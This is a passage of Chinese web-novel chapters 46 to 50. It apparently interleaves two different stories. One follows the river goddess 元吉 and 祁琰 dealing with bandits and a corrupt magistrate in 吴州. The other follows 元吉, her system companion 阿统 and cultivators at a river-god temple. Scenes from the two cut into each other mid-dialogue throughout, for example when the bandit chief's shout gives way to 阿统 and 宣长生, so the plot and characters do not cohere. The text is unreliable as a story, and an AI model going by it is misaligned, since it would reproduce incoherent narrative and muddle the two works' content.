元吉伸手扶住了额头:“不行,我得跟着他们。” “你如今回河里最好。”土地神劝她。 元吉慢慢站起来,天上的雨也不知何时停下的,她将伞丢到一边,没再看向土地神,垂头丧气地往河里走,打算顺着河回城中。 那两人是要去见陈县令的,这就说明舟山南侧的山匪果然与陈县令苟且,且那个人贩子喊他将军,此事若不搞清楚,会非常麻烦。 元吉回到了河中觉得自己身体好了些,索性她认识陈县令的府衙,到了县令府就隐去了身子,正好大堂边上有两缸睡莲,当中有水,元吉便躲进了缸里,早了那两个山匪一步。 山匪没从正门进,是从府衙的后门入的,他们进来之前,陈县令便已经让人将大门关上了。 三人坐在大堂的椅子上,陈县令还得给那山匪头子鞠躬:“夏将军大驾光临,不知有何事指教?” “此番过来为了两件事,先把简单的解决了,你可还认识这个人。”山匪头子指向旁边的男人,那男人对着陈县令嘿嘿一笑。 “哟!徐海?” “是了!县令还记得我呐。” “如何不记得啊,你当初和那季冬都在这府衙中当差呢。” “我此番过来,也是厚着脸皮,实在没地儿去了,想向县令大人讨个差事来办。” “这个好说,现在正是剿匪之际,把你随便安进去就是了。”陈县令倒是有些看不起这人。 元吉想了想,他口中的季冬,应当就是季老板。 “夏将军还有何指示?”陈县令立刻换了一副嘴脸对着山匪头子。 那山匪头子道:“吴州新来的知府要闹什么?最近大有往南侧来的趋势,莫非是真要与我这边作对呢?你没与他说了其中的利害关系?” “哎哟,说不得,这新上任的知府是祁家的少爷,当年在京中高中,前几年似乎在大皇子手下办差,此番回来,也不知是不是真的要安心当个知府,恐怕与大皇子另有所图。”陈县令说到这儿,那山匪头子眉头紧皱。 “那你便给我往上头写封书信,我找两个兄弟,今夜便动手,这人不能留!” 山匪头子说完,藏在水中的元吉便顿时倒吸了一口凉气。 这是要杀祁琰啊! 谁料到那山匪头子功夫了得,元吉只是一个喘息声,他便立刻听见了不对劲,一双眼睛朝睡莲这边瞧来,压低了声音:“谁?!” “那他想做什么啊?” 阿统拧眉思索一瞬,一个诡异的念头在它的脑海中浮现,吓得它赶忙将头甩得同拨浪鼓似的。 元吉摇头,“我也不知道。” “等他自己说吧。” 她抬头望向面前的宣长生。 “要和我去河神庙吗?” 第 46 章 第四十六章 第四十六章 宣长生闻言眼神一亮,露出一副受宠若惊的模样,“真的可以嘛前辈。” 元吉微微颔首,余光在树后顿了顿后负手往河神庙走去。 阿统看着亦步亦趋跟在元吉身后的宣长生,心中隐隐不安起来。直到它远远瞧见河神庙门口的颀长身影,才突然反应过来哪里不对劲。 等等! 祁琰是不是还在河神庙! 等会书中的反派和主角见面会不会打起来?不会把河神庙给拆了吧! “元、元吉!你是不是忘了什么?”阿统飘到元吉身上,支支吾吾地提醒。“这样回去真的好吗?不如先兑换个防护罩?” 元吉看着它这幅紧张的模样,一头雾水。 “哈?” “糟了,来不及了。”阿统看着朝这边看过来的祁琰,心中哀嚎一声。 【叮!恭喜宿主触发限时任务:保护河神庙完整度百分之八十以上。任务完成奖励20神力值。】 瞧着坐立不安的阿统,又看看面前飘过的任务,元吉额角抽了两下默默往旁边挪了一步。 阿统可能坏掉了。 * 李守财倒是比祁琰预料的早答应见鹿蜂寨当家的的事儿。 不过李守财虽说答应了,但还是需要祁琰给他点儿时间上舟山通个气儿、近来鹿蜂寨的山脚下守着的全都是官兵,李守财想上山,得从外围找个无人看守的小路绕上去。 李守财从小路绕上去的时候,护卫丙正双手环胸站在不远处看着,微微眯起了眼睛,回去把这事儿告诉祁琰时,祁琰噗嗤地笑了声:“我当我还得松懈一下兵力,却没想到他们上下山的路层出不穷,让人在附近把守着,别把路堵了,咱么也从这儿上山。” 由于近日有官兵把守在鹿蜂寨的山脚下,故而鹿蜂寨中的弟兄们都非常谨慎,十步一个站岗的,就怕有什么风吹草动是他们不知道的。 李守财上山的时候,刚好看见了一名鹿蜂寨的兄弟,那人是个看路的,不认识李守财,当即便将李守财抓住了。 李守财忙开口:“别打我!我认识你们当家的!” “闭嘴!我这就让你去见我们当家的!”那男人一巴掌拍在了李守财的背上,疼得李守财龇牙咧嘴,走了许多路,男人才将李守财丢到了鹿蜂寨的大门前。 山上的屋子大多都是石头与木头做的,鹿蜂寨大堂的门前是个木头桩子打的围栏,李守财没站稳,直接摔在了围栏上,又是一阵疼。 “哎哟哟!”李守财揉着自己的肋骨慢慢站了起来,朝周围几个笑着看他的人瞥去,道:“我认识你们当家的!此番过来,是与你们当家的谈生意!” 李守财说了这话,鹿蜂寨大堂内才有人走了出来,来者大约四十多岁,与李守财岁数相差无几,一脚架在了围栏上,伸手拨弄了额前的发丝道:“有几日不见了啊,李老板,我还以为这些日子官兵在山下守着,你已不将我鹿蜂寨放在眼里了呢。” 李守财拍了拍衣服上的泥土道:“凉寨主让人如此折辱我,提着上山,不也是不将我放在眼里么。” 凉寨主摸了一把粗糙的胡子,心想这李守财何时说话敢如此硬气了,笑着道:“是,是我的手下没认得你,对你鲁莽了。你方才过来说有生意要做,不知是何生意啊?” 李守财双手背在身后:“我上山前也瞧见了,山下全都是官兵,你们根本就没法儿离开这个山头,被守了几日,不知仓中粮食还剩几许?” 凉寨主抿了抿嘴,脸色稍微有些难看,最近仓库中的粮食的确有些拮据了,不过这事儿他也没和弟兄们说。 他们做山匪的,提起刀就是干! 如若仓中无粮那知府还不肯撤兵或是打一场,那他们便冲下去拼个鱼死网破,大不了两败俱伤。 他们山里走惯了,对山路地形也熟悉,对方占不得好处的。 李守财跺了跺脚:“凉寨主就别起那些心思了,若无粮食,你们就算是与山下的官兵们苦战,也讨不了好,不如与我做个生意来的好。” “你要卖粮给我们?你有这个胆子?”凉寨主问完,旁边的兄弟们全都在哈哈大笑。 李守财道:“并非是我要与你做生意,我是要与你推荐一人,那人要与你做笔大生意,大买卖!” “这城中除了你,还有人敢于我做生意?”凉寨主从地上拿起一块石头,状似轻松地磨着手中的大刀。 李守财解释:“那人并非吴州人士,是从京城那边过来的,他做生意荤素不忌,不过有个前提,他必须得当面谈,就看凉寨主能不能赏这个脸,如若真的谈妥了,鹿蜂寨接下来恐怕还能再称霸许长时间。” “你的意思是而今我鹿蜂寨不能在吴州称霸了?” 凉寨主话音刚落,周围的人纷纷面露凶色。 李守财虽然怕,但是想起来此番上山的目的,便忍着惧意道:“我自然希望鹿蜂寨继续在吴州称霸,只是这新上任的知府不是个好惹的角色,凉寨主好好想想我提的买卖,做与不做,便在你一念之间。” 凉寨主淡淡地瞥了李守财一眼,随后道:“那便带那人过来瞧瞧。” 李守财见事情这般容易就谈妥了,心里也松口气,鹿蜂寨他虽然有些瓜葛,但心里始终忌惮他们是山匪,为人狡诈且凶悍,不是普通人能对付的,这买卖的成败,也看元老板的本事了。 李守财上山大约两个时辰才下来,他下山后没多久便与李夫人商量,要去鼎丰客栈找祁琰了。 鼎丰客栈内,祁琰正与元吉在下棋。 元吉单手撑着下巴,身后站着护卫甲乙丙丁四人为军师,眉头微皱,啧了啧嘴:“下一颗棋子落哪儿呢。” 护卫丙是四个护卫中下棋最厉害的,也经常与祁琰对弈,不过这局棋基本被元吉玩儿死了,只能退,不能进,于是他指了一个地方道:“夫人下那儿。” 元吉听了护卫丙的话,对面的祁琰道:“我可要赢了。” 元吉端起茶杯还没喝就哼哼:“你让一让我嘛!” 祁琰挑眉,闭着眼睛随便下了个地方,刚好在元吉之前设下的陷阱里,元吉笑嘻嘻地将那颗黑子收了起来。 祁琰在另一边故作惊叹又摆出可惜模样道:“夫人好棋艺,厉害厉害,为夫佩服。” 元吉挺得意,护卫丙在后面伸手擦了擦汗,心想自己陪着大人下棋的时候,对方可是招招下死手,每一局都势必要比上一局快更拿下他才行。 放水这种事,不存在的。 元吉觉得下棋还挺有趣,便与祁琰又重来了一把,祁琰在另一边单手撑着下巴,半垂着眼眸嘴角勾起,一副气定神闲的模样。 总在元吉快要被逼入绝路,护卫甲乙丙丁跟在后头直擦汗也想不出求生之路的时候,就故意下错了一个子,让元吉得甜头。 还每回都要用那种拙劣的演技故作惊讶道:“怎么又让你赢了一步,看来不能小瞧了你。” 偏偏元吉还就吃这一套,搞得几个护卫都有些羡慕嫉妒她的待遇,又有些欣慰还好他们夫人是个傻的,看不出来他们家大人觉得逗夫人玩儿比和夫人下棋要有趣多了。 李守财与李夫人来客栈的时候,元吉还在与祁琰下棋呢。 李夫人瞧见,笑着说:“妹妹在下棋呢,我瞧瞧。” 李夫人瞥了一眼棋局,元吉已经是必死之势了,她顿时哎哟一声:“看来这局妹妹要输了。” 对面的祁琰听见这话,笑着道:“我又如何会让夫人输。” 一子落下,整个棋局局势翻转,反倒是祁琰这边分外不利,李夫人都瞧奇了,开口夸赞:“没想到元老板非但对夫人爱护有加,就连棋都下得出神入化。” 祁琰摆了摆手,元吉这才知道自己方才原来一直被让,心里还有些不乐意,她刚才骄傲了好一会儿呢。 “李老板此番来,可是与鹿蜂寨谈妥了?”祁琰让手下人将棋局端下去,上了茶水过来。 李守财与李夫人坐在桌子的另一边,笑着道:“是,今日一早我便找了条小路上山了,与那鹿蜂寨的凉寨主说了一番这事儿,凉寨主说,倒是可以见见元老板。” “如此便好。”祁琰抿嘴笑了笑。 李守财又皱眉:“不过那凉寨主可不是个好惹的人,脾气有些差,元老板切莫与他顶撞,此番上山,还是凶险的。” 祁琰摇头:“无妨,我自由妙招,不过就希望我见凉寨主时,李老板别跟着了。” “我不用去?”李守财皱眉。 在众人沉默中,元吉看着面前提示【房屋破损程度以达百分之九十】的提示,一个机灵,瞬间清醒。 “咔擦”一声,指尖的晶石受力好久瞬间布满细碎的裂缝,并且这裂缝快速蔓延开来。 见状,阿统的瞳孔骤然一缩,“元吉!快扔出去!” 下一息,金光大绽,巨大的冲击感在那几道黑影之中炸开来。 “嘭!” 众人看着七歪八扭,不知生死的那几人,一时沉默了。 好好的,为什么不走门呢。 而元吉看着彻底倒塌的小院,又看看【房屋破损程度已达百分之八十】的提醒。 脸黑了。 她揉了揉隐隐胀痛的眉心,语气冷得骇人。 “是谁?” 第 47 章 第四十七章 第四十七章 燕枯显然已经对接下来该做的的事情了熟于心。他快步上前从怀中掏出麻绳,轻车熟路地将地上几人给捆了起来。 他的动作并不轻柔,这几人很快便清醒过来。 “咳咳……放开我!” 为首的杜修远摇了摇头让自己清醒过来,看着自己被五花大绑的模样顿时气得脸一黑。从未有人敢这样对他,这群魔修真是,好大的胆子! “你们这群魔族妖孽,快放开我!靠偷袭算什么,有本事我们光明正大地对决!” 元吉怔怔地看着祁琰。 对方收起了以往的玩心,他那一双眼睛笑起来的时候分外不正经,而今不笑了,眼眸深邃,总让元吉觉得心里有些慌张。 他太过认真了,让元吉觉得自己的一句话就能决定两人之后的关系。 一时间,却不知道如何回复。 祁琰等了许久也没等到元吉开口,于是侧过头叹了口气,眼中闪过低落的情绪,元吉心里顿时一抽,以往从未有过这种感觉。 祁琰道:“吉吉啊,你真是让为夫伤心啊。” 元吉眨了眨眼睛,见祁琰一边露出伤心难过的表情,一边摇着头将元吉碗里的菜夹到自己碗里,然后一口吃掉,一时有些无语。 这是什么意思? 方才的认真呢? 闹着玩儿的? 她正努力地想着该如何回答呢! 一餐饭结束后,元吉回到了自己的房间,躺在床上正准备入睡了,却总是辗转反侧,满脑子都是祁琰问出那句话时的脸。 此刻她想起来,她当时问祁琰那些事的时候,应当是关心祁琰多一些的。 元吉虽然喜欢好管闲事,但土地神的嘱咐她没有一刻敢忘的,这二十几年来,除了祁琰知道她的真实身份,知道她的名字之外,她再也没透露给别人了。 毕竟看着祁琰从可爱的小毛娃娃长大,对于他的事情,怎么能不上点儿心呢。 元吉叹了口气,刚转了个身,突然听到了隔壁的动静,护卫丁匆匆从走廊上过去,有些焦急,元吉只听见他与护卫丙说话,模糊的一句:“打些热水来。” 元吉楞了一下,正要出去问发生了什么事,手刚碰到了门栓便生生止住,她抿了抿嘴,闭上眼睛心里念了个口诀,将自己身体给隐了去,穿过木门,直接见到了护卫丁。 护卫丁的袖口带着些许血迹,手指上也有,护卫丙手上端着盆热水刚到楼上,护卫丁便端入了祁琰的房间里。 元吉心中砰砰直跳,立刻跟了过去看。 护卫甲与护卫乙一个在整理纱布,一个往外端已经染红了的水盆。 祁琰就背对着她坐在桌边,身体被半个屏风挡着,护卫丁端着热水进来之后,他才慢慢转过身,脸色有些苍白,脸上都是汗水,脖子上青筋暴起,一手捂着心口的方向,而那里原本已经结痂了的狰狞的伤口,此时正滋滋流着血,仿佛刚被割伤了一样。 元吉往后退了一步,睁圆了眼睛盯着祁琰的伤口看。 她上次见到这个伤口的时候,分明已经愈合很久了,这回怎么受伤的? 难不成是上次救小孩儿时被那个人贩子砍的? 可他当日回来时并没有重伤的迹象,这样的伤口并不是多穿两件衣服便能掩饰住的。 元吉看四个护卫分工明确,驾轻熟路地辅助祁琰。 而祁琰也像是早就习惯了这伤口般,脸上没有太多痛苦的情绪,忍着痛将伤药洒在上面,而后绑上绷带,这才呼出一口气。 他们之间没有对话,祁琰弄好了之后那四个人就出去了。 路过元吉房前时还特地放慢了步子,而此刻的元吉就站在祁琰的房间内看着他。 祁琰的房内就点了一盏灯,有些昏暗,窗户开了条小缝隙,偶尔有微弱的风吹进来。他侧对着烛火,在风刮过的时候整个人也跟着光亮忽明忽暗,好似马上就要消失了一样。 元吉朝他走过去,分外确信祁琰应当是看不见自己的。 可就在她刚走到烛光能够照耀到的范围时,祁琰突然抬头朝她看过来。 元吉定在原地没敢动,祁琰微微眯起眼睛,房内突然变得安静了许多。 元吉浅浅地呼吸了几次才发现,原来自己的心跳声与他的节奏不同,即便整个房间内就只有祁琰一个人,却出现了两个截然不同的心跳,一个稍快,一个稍慢。 元吉轻轻用手盖在自己的心口上,发现心跳快的那个是自己。 她没再逗留下去,转身便走出了祁琰的房间,回到自己房内的时候还能听见自己的心跳,一声快过一声,好像就要从嘴里蹦出来一样。 她躺在床上裹着被子,侧头看向窗外的月亮,这夜没有星星,不知道为何,在她回到房间之后就立刻刮起了大风,雨,很快就落下来了。 第二天早上大雨还在倾盆,元吉几乎一夜没睡,早上还是护卫丁叫她起床的,元吉穿好了衣服出去的时候,护卫丁对她道:“夫人看起来脸色不太好,该不会是昨夜着凉了吧?” 元吉伸手摸了一下自己的脸:“我脸色不好吗?” 她是河神,哪儿会着凉? 护卫丁点头:“昨夜突然下起了大雨,大人房间的窗户一夜没关,今天早上起来就咳嗽不止了,夫人也要注意身体啊。” 元吉刚要问什么,就听见楼下祁琰的咳嗽声,的确有些厉害。 她顺着楼梯走下去,祁琰那桌已经摆了早饭了,元吉这回没坐在他对面,端了个凳子做到了他旁边,侧过头看了他一眼。 脸色有些难看,眉心微皱,一只手拿着手帕,一只手没什么精神地用筷子夹着包子放到自己碗里,咳嗽的时候用手帕捂着嘴。 祁琰包子都吃完了一个了,元吉还在看着他。 最后他终于忍不住,把筷子平方在桌上,也朝元吉看去。 元吉顿时抬起眉毛侧过脸,低着声音问:“你还好吧?” 祁琰先是咳嗽了几声,随后说:“本来挺好的,你这么看着我我总觉得不太舒服。” 元吉的目光落在了他的心口上,昨夜那狰狞的伤口还在脑中徘徊不去,今天就感染了风寒,一直咳嗽伤口会不会裂开啊? 元吉叹了口气,有气无力地给自己拿了个包子,又食之无味地嚼了两口。 祁琰白了她一眼。 小孩儿也从楼上跑了下来,一路跑到了祁琰身边也没停下的迹象,也看就要直接撞上祁琰了,元吉立刻眼明手快地将小孩儿抱了过来,手中的包子都丢到地上了。 啧,不对劲。 “阿统,他是不是有点奇怪。” 阿统沉默片刻,内心整个统早就扭成了一团不断咆哮。 它就说这个反派没安好心,瞧瞧!趁着四下没人连美人计都使出来了! 好心机!! 阿统清了清嗓子,佯装镇定。 “没有啊,元吉你是不是累到了,快去休息吧。” 元吉:……哦 然安心去休息的元吉和松了一口气的阿统都没注意到,门外的祁琰眼中一闪而过的笑意。 与此同时,数十道身影正从四面八方往河神庙赶来。 第 48 章 第四十八章 第四十八章 清冽的晨风掠过檐铃,悦耳的响声如春日溪水般潺潺流淌。 “元吉,真的不可以吗?” 阿统可怜兮兮地指着院中的废墟,“你看那个位置放个灯塔刚刚好诶!” 元吉顺着它指的方向看去,乌伯山正盘算着该如何建个气势宏伟的建筑,一旁围着的洛秋水等人七嘴八舌地提着建议。 元吉听着他们因到底是用“灵石”还是“纯金”建造争论不停,一时间觉得头有些疼。 她按了按眉心,冷漠拒绝。一手随意拨动着桌上的灵石打发时间。 元吉骑着马一路入了城,到了城中人多了,也就安全了。 马匹恐怕是跟着祁琰许多年的,倒是不折腾,将元吉直接带到了客栈门前,护卫甲看见元吉的时候立刻迎了过来,面上带着些许疑惑:“夫人?大人呢?” 元吉先让护卫甲将小孩儿抱下,随后自己慢慢爬下了马,哄着小孩儿不哭后才道:“我与祁琰遇上了人贩子,就在城外的河边,他让我骑马先回来,你们快去找。” 护卫甲一听便觉得不好,他们家大人的本事他也不是不知道,最多就能对付普通男人,若对方是个练家子,只有他们家大人挨打的份儿。 于是与护卫乙一同朝城外走去,护卫丙与护卫丁留下来照看元吉。 元吉回到房内,先让护卫丙弄些吃的过来给小孩儿吃,护卫丁就站在她的门边守着,元吉顿了顿,召唤他进来。 “这小孩儿名叫刘庆,被拐走已经有三日了,那人贩子没骑马,按照这个时间来算,其父母应当是吴州人士,你回去查一查,看看能否查到。”元吉吩咐下去。 护卫丁立刻颔首,将分布在客栈其他地方专门来传话的人唤来,给小孩儿查生世去。 日落西山时分,祁琰才领着护卫甲与护卫乙一同回来。 刚回来客栈的时候他便直接往元吉的房内走,看见那小孩儿靠在软榻上睡得正香,一只手抱着元吉不肯撒开,祁琰就皱眉了。 “让他松手。”转头对身后人吩咐。 元吉:“……” 护卫甲走到小孩儿的跟前,将自己的手慢慢插到小孩儿的怀里,代替了元吉的手臂之后,对着元吉缓缓一笑。 “如何?那人没把你怎么样吧?”元吉问他。 祁琰抬起下巴勾了勾嘴角:“我是何等本事,他如何能是我的对手?” 元吉朝他身后的护卫乙瞧去,显然护卫乙不赞成这句话,抿着嘴角极力憋笑,毕竟他们家大人一路上回来都在抱怨自己损失了多少银子。 祁琰清了清嗓子,道:“我已经吩咐下去了,那人的长相也画下来了,要不了多久就能把他捉到。” 元吉回头朝软塌上看了一眼:“那这孩子暂时怎么办?” 祁琰道:“让他们几个看着。” “他怕生。”元吉抿嘴。 祁琰皱眉:“你我今晚还得赴李守财的宴,总不能带个孩子过去,你这个年龄,也不像是能生出这么大孩子的。” 元吉叹了口气,看来暂且只能这样了,而且护卫甲看上去似乎很喜欢孩子的模样,瞧,才刚一会儿,手已经在小孩儿软软的脸上戳了七八次,恨不得戳个坑出来了。 李守财的宴与之前不同,没有设在百宴楼里,为了表示友好,他请的是家宴。 华灯初上,祁琰的马车停在了李守财的家门前,李守财搓着手等了一刻钟才将他等到,这便领着两人入门。 祁琰左右打量了几眼李守财的家,倒是比他想象中要朴素不少,看来徐县令在位时没少让他们送东西过去。 走过长长的长亭后,便到了李守财家用餐的地方,李夫人正在亲自布菜,看见元吉到的时候,脸上扬着笑,乐呵呵地过来迎接。 四人入座后,李守财先给祁琰倒了杯酒说:“还好元老板足智多谋,肯诚心帮我,我才将这烫手山芋甩了出去。” 祁琰拱了拱手,并没喝酒,只说:“我从一开始入城便有意与李老板交好,一起做这份买卖,只是李老板当时没将我放在心上罢了。” 李守财听见这话,脸上的笑意僵了几分,当初他有徐县令撑腰,的确不将这外来的商人放在眼里,不过现下他有求于人,又想赚钱,必然得矮人几分。 “元老板见笑了,当初是我不识庐山真容,承蒙元老板不弃,还愿意与我交个朋友。”李守财说完,先将酒喝下。 祁琰缓缓笑了起来,将斯文败类扮演的淋漓尽致:“李老板别这么说,而今赚钱的法子就在眼前,我亦有意与李老板分一杯羹的。” “赚钱的法子?” “李老板可听说了?再有几日两千余剿匪兵队就要入城?”祁琰顿了顿:“知府下令,让陈县令管这事儿,两千余人的衣食住行可不是件小事儿。” 李老板皱眉:“可这与咱们有何干系?” 祁琰笑了笑,他就是看中了李守财这要聪明不聪明的劲儿,才敢走这一步险棋。 元吉在一旁说道:“我夫君初来此地时在李老板那儿购置了一些空宅,又在贾老板那儿购置了一些,算来,城中已无更多地方供此些人住了,唯有那几座空宅可用。” 祁琰点了点头,李夫人顿时睁大了双眼:“那朝廷必定派发剿匪银两,元老板将宅子让出,陈县令肯定是要花钱的。” 李守财哎呀了好几声,忽而想起自己之前还笑对方买自己从来不用的空宅有何用,原来他早已洞悉了商机啊。 李守财又干了一杯:“这便是赏桃花那日,元老板与我说的赚官府的钱了,佩服佩服。” “剿匪不是一朝一夕之事,我不是吴州人士,亦在此地无什么产业,陈县令奈何不了我,李老板若想赚钱,不如与我一道?”祁琰问。 李守财连连点头:“是,我手中还有一处庄园,就在城后,多日无人打理,本是我与夫人打算老时去住的,现下看来倒是可以先拿来用用。” 祁琰点头:“李老板只要信我便好。” 李守财还有些畏缩,李夫人直接答应:“这期间便拿去给元老板用,元夫人帮了我们几次,我们自然是信元老板的。” 元吉朝祁琰看去,祁琰的手慢慢伸到桌下,轻轻地盖在了她的手背上,元吉这才笑了起来,道:“那我们为了示好,便与你们再说个消息,贾老板那边递了请帖,明日我与夫君就要去赴宴,恐怕谈的就是这宅子的事儿,届时你们就等好消息吧。” 一餐饭完毕,李守财喝了不少酒,由李夫人扶着,两人偏要送祁琰出府。 在出府的长廊上,李守财伸手拍着祁琰的肩膀道:“元老板,我是真佩服你啊,年轻有为,你这次若能让我在官府那处赚得银钱,那你之前说赚山匪的钱,我必然帮到底!” 祁琰脚下一顿,朝李守财看去:“李老板有门路?” 李守财就要说什么,李夫人在他胳膊上狠狠地掐了一把,李守财这才清醒了些,道:“现在还不是时候。” 祁琰对李守财拱手:“那李老板便等我的好消息吧。” 与元吉二人出了李府,上了马车,祁琰才将外衣脱下,伸手扇了扇风。 元吉问他:“李老板都喝成那样儿了,你一口酒也不喝,让人家如何信你真心相交啊?” 众人:……? 元吉看着在半空中轻晃两下,颇为骄傲的小青剑,眼神一亮,顿时将地上躺着的几人给抛到了脑后。 小青剑感受到元吉的目光,顿时冲了过来,围着元吉飞了好几圈,像极了撒娇求摸摸的小狗狗,全然没了刚才下手的狠厉模样。 祁琰慢条斯理品了口清茶。长睫一阖,眸光流转,示意燕枯去收拾下那几人。 接到旨意的燕枯顿时重操旧业,吸取了先前的教训,他这次特别多绕了几圈将人五花大绑,这下绝对跑不了。 半晌后,杜修远看着挂在自己身侧的吴千巳,一时心情复杂不知道该哭还是该笑。 庙内的众人也不知道,此时河神庙外的几人看着墙头挂着一群人,顿时脚下一顿。 “河神庙……” “应该是正经河神吧?” 第 49 章 第四十九章 第四十九章 脚下的飞剑被收回行囊中,几人快速落地。 十一看着面前挂着黑布的大门,犹豫再三。 他挠了挠头,不确定地杵着宋青阳的胳膊,“哑巴,这真的是河神庙吧,你没找错吧。” 这看着不像是个正经地方,莫名地他看着心中发毛,一阵一阵地起鸡皮疙瘩。 宋青阳幽幽地扫了眼挂在墙头之人,眼神一暗,上面的是焚月谷的人。他摇摇头,指尖抵在唇边示意他别乱说话。 慎言。 祁琰正准备躺下,门外的护卫丁便开口了:“大人。” 祁琰嗯了一声,护卫丁道:“夫人邀您去城郊。” 祁琰眼睛都闭着了,听见这话慢慢睁开,似乎是觉得自己听错了,伸手掏了掏耳朵后又问:“谁?” “夫人。” “让我去哪儿?” “城郊。” 祁琰坐了起来,朝与隔壁只有一墙之隔的墙面看去,心想这元吉搞什么? 护卫丁在房门后转了好几圈,祁琰才穿戴好衣服,披了个斗篷目光在外面扫了一圈,问:“阿甲、阿乙、阿丙呢?” 护卫丁一本正经道:“三个人没吃饱,出去买吃的了,只有属下在这儿。” 祁琰怀疑地挑起一根眉,而后走到隔壁元吉的房间推门进去看,见人果然不在,这才朝楼下走,一边走一边问护卫丁:“她有留什么话吗?" 护卫丁装作仔细想了想,祁琰眉心微皱,嘴巴微张,简直不忍心戳破自己蠢属下的谎言,见对方摇头,这才抿嘴,点了点头,懒得再开口了。 护卫丁给祁琰准备了马,城郊并不远,出了城门外有一条河,与城中的河水是相通的,月老庙门前的小河中的花灯都会流淌到这儿来。 马车停在小河边的时候,元吉便掀开车帘朝外看了,刚掀开车帘,便是一个黑影窜走,元吉看了一眼方才还坐热的地方,护卫丙眨眼般的功夫就消失。 她从马车里走出来,抬头朝天上瞧去,漫天繁星密布,月亮稍微有些圆,将这一处照得很亮。 城中的人大多都已经歇下了,故而没什么灯火,小河流的旁边长了青草,几个花灯顺着水纹荡了过来,这一处有个小潭,花灯大多在潭中积着,少许能顺着水流的方向离开这处。 元吉走到河边,伸手拿了个花灯起来,仔细看了有一眼上面写的字,字迹工整,希望与赵公子永结同心,白首不离。 元吉愣了一下,突然想起来她或许能捞到祁琰的花灯,于是便提起裙子往前靠近了些。 与祁琰一同赶来的护卫丁正瞧见元吉在河边像是没看见路是的往河里走,于是立刻飞身过去阻止:“夫人!小心有河!” 突然而来的声音吓了元吉一跳,她连忙拍着心口,转身看见了祁琰与护卫丁,护卫丁扶稳了元吉后,这才对祁琰道:“那属下先告退了。” 元吉拍了拍裙摆,见还坐在马上的祁琰,抬起头问:“你叫我来这儿做什么?” 祁琰双手环胸,抿嘴笑了笑。 早就猜到会是这样,长时间跟着自己的属下,他如何能看不透,只是没想到这几个人的想法太过幼稚,他摇了摇头,慢慢抬起下巴道:“带你来赏月。” 元吉先是皱眉,后是挑眉,最后歪嘴:“你脑子坏了吧?大半夜约我来城郊赏月?!” 祁琰没回她,只叹:“今天的月亮好圆啊。” “并不圆。”元吉面无表情。 躲在草丛里看着河边那一处的三人统统穿了黑衣,护卫丁刚到,脸上的面纱还没戴上,护卫甲扶着腰间的长剑,问:“大人与夫人没有怀疑吧?” 护卫丁拍了拍胸口:“机智如我,怎可能会被怀疑?” 护卫甲点头:“我数一二三,咱们一起冲出去!” “一。” “二。” “三!” 元吉嘁了一声,见祁琰那一副要笑不笑的样子浑身都起鸡皮疙瘩了,总觉得对方在打什么主意,于是道:“下次如果是赏月,麻烦别来这么远的地方,客栈院子也成。” 祁琰刚要说话,不知从哪儿冲过来的四个黑衣人,手上都拿着长剑,直接将站在河边的元吉围住,四柄剑前后左右架在了她的肩膀上,异口同声道:“鹿蜂寨前来收财!” 元吉:“我没钱!”她朝祁琰瞧去,伸手指过去:“那人有钱!” 祁琰先是沉默了几秒,目光在这四人身上扫了一眼,随后肩膀颤抖,突然哈哈大笑了起来。 元吉:“……” 黑衣人甲乙丙丁:“……” 黑衣人甲率先回过神来:“不许笑!你夫人在我们手上!快拿钱来!” 祁琰伸了个懒腰,心想这难道是要他英雄救美?抿嘴哼了一声,这才从马上跳下来,一只手背在身后,一只手对着那四个黑衣人道:“我也会些功夫,信不信我能救回我夫人?” 元吉一瞬有些无语,浑身都僵了起来:“能给钱了的事为何要动手啊!” 祁琰对元吉眨了眨眼睛:“夫人莫怕!为夫去过少林寺,能救你的。” 元吉咬牙切齿,去过什么少林寺,她看着这货在自己眼皮子底下长大,从小就仗着身后人多才活下来,最多能打个书生什么的,这四个山匪手拿刀剑如何能是对手啊! 黑衣人甲哼了一声:“好大的胆量,就让我来对付你!” 元吉猛地看了一眼从自己脖子上撤去的剑,瞪圆了眼睛,这样也行?! 她瞥向河中,吞了吞口水,又看了一眼围在自己身侧的三个人,只有一方是空着的。 前面祁琰也不知是不是真有本事,总之拿着长剑的黑衣人简直拿他无可奈何,出招出歪了不说,还被祁琰踢了一脚。 祁琰那头还抽个空过来说:“夫人莫怕,为夫就来救你了!” 元吉心想这么下去不行,自己完全拖累了祁琰,于是深吸一口气,脚下用力,侧身躲过了三柄长剑,在众人没反应过来的时候,直接跳入了河中。 反正只要入水,他们都奈何不了自己。 于是‘噗通’一声水花,黑衣人甲乙丙丁都愣了,抬腿正要踹向黑衣人甲的祁琰顿时皱眉,啧了一声也不和他们闹,瞪了黑衣人甲一眼,直朝河边走去。 众人幽幽抬头看着新装饰物,心中闪过一个念头。 这应该不会把人给吓跑吧。 不过吓跑人的,应该是这堆废墟吧。众人顿时很慌张,争先恐后地去收拾残局。 元吉早就知道来者是谁了,不过比她想的竟然还早些。 “去看门吧。” 夜文术有些犹豫地看着院内还没收拾完的瓦片、苔藓和血迹,咬咬牙将门打开。 没想到,门上的黑布滑落。 下一瞬,金光大作。 第 50 章 第五十章 第五十章 耀眼的金光突然出现,元吉听着此起彼伏的惊呼声,默默闭上了眼。她按着隐隐作痛的眉心,心道果然不管多少次看到这门,她都觉得眼睛疼。 院内的几人被这金光一闪,蓦地松了口气将手中的东西放下。 他们怎么忘了,有这门在,河神庙必不会被人给小瞧了去。 与众人反应不同的是,宣长生被这光晃得眼睛疼,却还是睁得极大,满脸的不敢相信。 “这,这是什么?”元吉将视线落在了祁琰的伤口处,眉心紧皱,就连她自己都没发现,此刻她的目光有多炙热,让祁琰说话的声音都停顿了片刻。 “所以,你的伤口每天晚上都会裂开?持续了这么多年?”元吉轻轻吐出一口气:“这世上怎么会有如此邪恶的利器?” “那我便不知道了,据说是上苍赐予皇上用来震慑恶人所用的,不过也害了不少好人,就比方说我。”祁琰伸手指了指自己。 元吉拨弄了一下额前的发丝:“那你又为什么回来?” “我在朝中帮了大皇子不少,但我的确不喜欢那种生活,还不如回到吴州乐得自在,先是向大皇子请辞,再正式与皇上说。”祁琰叹了口气:“不过即便回到了吴州,还是没逃过帮他办差的命运啊,你瞧,我这一回来就帮他拿捏住了三皇子的恶行。” “吴州有三皇子的人?”元吉睁圆了眼睛,她却没想到已经远在千里之外,那朝堂中的尔虞我诈竟然能伸到此处。 “还不确定,不是正在查嘛。”祁琰笑了笑。 元吉立刻凑了过去:“你说的该不会是山匪吧?” 